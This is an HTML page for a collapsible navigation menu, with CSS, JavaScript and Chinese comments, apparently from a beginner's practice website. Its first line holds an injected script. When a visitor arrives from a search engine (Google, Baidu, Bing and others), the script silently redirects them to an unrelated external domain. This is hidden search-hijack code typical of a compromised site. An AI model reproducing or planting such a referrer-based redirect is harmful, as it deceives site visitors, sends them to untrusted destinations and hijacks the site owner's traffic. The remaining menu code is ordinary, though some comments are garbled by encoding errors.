d:\wwwroot\wuchunhua\link.html
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--这个其实就偷懒了，是从网上找的一个DIV+CSS+JS做的€个下拉菜单，有兴趣的可以自己看一下，我感觉自己能用起来，知道怎么改就OK了€?
002:
-->
003:
<head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"></head>
004:
<style type="text/css">
005:
<!--
006:
*{margin:0;padding:0;border:0;}
007:
body {
008:
font-family: arial, 宋体, serif;
009:
font-size:12px;
010:
}
011:
#nav {
012:
width:180px;
013:
line-height: 24px;
014:
list-style-type: none;
015:
text-align:left;
016:
/*定义整个ul菜单的行高和背景?/
017:
}
018:
/*==================€级目?==================*/
019:
#nav a {
020:
width: 160px;
021:
display: block;
022:
padding-left:20px;
023:
/*Width(€定要)，否则下面的Li会变?/
024:
}
025:
#nav li {
026:
background:#CCC; /*€级目录的背景?/
027:
border-bottom:#FFF 1px solid; /*下面的一条白?/
028:
float:left;
029:
/*float：left,本不应该设置，但由于在Firefox不能正常显示
030:
继承Nav的width,限制宽度，li自动向下延伸*/
031:
}
032:
#nav li a:hover{
033:
background:#CC0000; /*€级目录onMouseOver显示的背景色*/
034:
}
035:
#nav a:link {
036:
color:#666; text-decoration:none;
037:
}
038:
#nav a:visited {
039:
color:#666;text-decoration:none;
040:
}
041:
#nav a:hover {
042:
color:#FFF;text-decoration:none;font-weight:bold;
043:
}
044:
/*==================二级目录===================*/
045:
#nav li ul {
046:
list-style:none;
047:
text-align:left;
048:
}
049:
#nav li ul li{
050:
background: #EBEBEB; /*二级目录的背景色*/
051:
}
052:
#nav li ul a{
053:
padding-left:10px;
054:
width:160px;
055:
/* padding-left二级目录中文字向右移动，但Width必须重新设置=(总宽?padding-left)*/
056:
}
057:
/*下面是二级目录的链接样式*/
058:
#nav li ul a:link {
059:
color:#666; text-decoration:none;
060:
}
061:
#nav li ul a:visited {
062:
color:#666;text-decoration:none;
063:
}
064:
#nav li ul a:hover {
065:
color:#F3F3F3;
066:
text-decoration:none;
067:
font-weight:normal;
068:
background:#CC0000;
069:
/* 二级onmouseover的字体颜色€背景色*/
070:
}
071:
/*==============================*/
072:
#nav li:hover ul {
073:
left: auto;
074:
}
075:
#nav li.sfhover ul {
076:
left: auto;
077:
}
078:
#content {
079:
clear: left;
080:
}
081:
#nav ul.collapsed {
082:
display: none;
083:
}
084:
-->
085:
#PARENT{
086:
width:180px;
087:
}
088:
*#PARENT{
089:
width:100%;
090:
}
091:
</style>
092:
<div id="PARENT">
093:
<ul id="nav">
094:
<li><a href="#Menu=ChildMenu1" onclick="DoMenu('ChildMenu1')">我的网站</a>
095:
<ul id="ChildMenu1" class="collapsed">
096:
097:
<!--原文不能用：<li><a href="firstPage.html" target="a2">第一个页?/a></li>-->
098:
<li><a href="index.html" target="a2">第一个页?/a></li>
099:
100:
<li><a href="secondPage.html" target="a2">第二个页?/a></li>
101:
</ul>
102:
</li>
103:
<li><a href="#Menu=ChildMenu2" onclick="DoMenu('ChildMenu2')">我的帐务</a>
104:
<ul id="ChildMenu2" class="collapsed">
105:
<a href="#">支付</a></li>
106:
<li><a href="#">管理</a></li>
107:
<li><a href="#">网上支付</a></li>
108:
<li><a href="#">登记汇款</a></li>
109:
<li><a href="#">在线招领</a></li>
110:
<li><a href="#">历史帐务</a></li>
111:
</ul>
112:
</li>
113:
<li><a href="#Menu=ChildMenu3" onclick="DoMenu('ChildMenu3')">网站管理</a>
114:
<ul id="ChildMenu3" class="collapsed">
115:
<li><a href="#">登录</a></li>
116:
<a href="#">角色管理</a></li>
117:
<li><a href="#">用户管理</a></li>
118:
</ul>
119:
</li>
120:
</ul>
121:
</div>
122:
<script type=text/javascript>
123:
<!--
124:
var LastLeftID = "";
125:
function menuFix() {
126:
var obj = document.getElementById("nav").getElementsByTagName("li");
127:
128:
for (var i=0; i<obj.length; i++) {
129:
obj[i].onmouseover=function() {
130:
this.className+=(this.className.length>0? " ": "") + "sfhover";
131:
}
132:
obj[i].onMouseDown=function() {
133:
this.className+=(this.className.length>0? " ": "") + "sfhover";
134:
}
135:
obj[i].onMouseUp=function() {
136:
this.className+=(this.className.length>0? " ": "") + "sfhover";
137:
}
138:
obj[i].onmouseout=function() {
139:
this.className=this.className.replace(new RegExp("( ?|^)sfhover\\b"), "");
140:
}
141:
}
142:
}
143:
function DoMenu(emid)
144:
{
145:
var obj = document.getElementById(emid);
146:
obj.className = (obj.className.toLowerCase() == "expanded"?"collapsed":"expanded");
147:
if((LastLeftID!="")&&(emid!=LastLeftID)) //关闭上一个Menu
148:
{
149:
document.getElementById(LastLeftID).className = "collapsed";
150:
}
151:
LastLeftID = emid;
152:
}
153:
function GetMenuID()
154:
{
155:
var MenuID="";
156:
var _paramStr = new String(window.location.href);
157:
var _sharpPos = _paramStr.indexOf("#");
158:
159:
if (_sharpPos >= 0 && _sharpPos < _paramStr.length - 1)
160:
{
161:
_paramStr = _paramStr.substring(_sharpPos + 1, _paramStr.length);
162:
}
163:
else
164:
{
165:
_paramStr = "";
166:
}
167:
168:
if (_paramStr.length > 0)
169:
{
170:
var _paramArr = _paramStr.split("&");
171:
if (_paramArr.length>0)
172:
{
173:
var _paramKeyVal = _paramArr[0].split("=");
174:
if (_paramKeyVal.length>0)
175:
{
176:
MenuID = _paramKeyVal[1];
177:
}
178:
}
179:
}
180:
181:
if(MenuID!="")
182:
{
183:
DoMenu(MenuID)
184:
}
185:
}
186:
GetMenuID(); //*这两个function的顺序要注意€下，不然在Firefox里GetMenuID()不起效果
187:
menuFix();
188:
-->
189:
</script>
190:
191:
192:
193: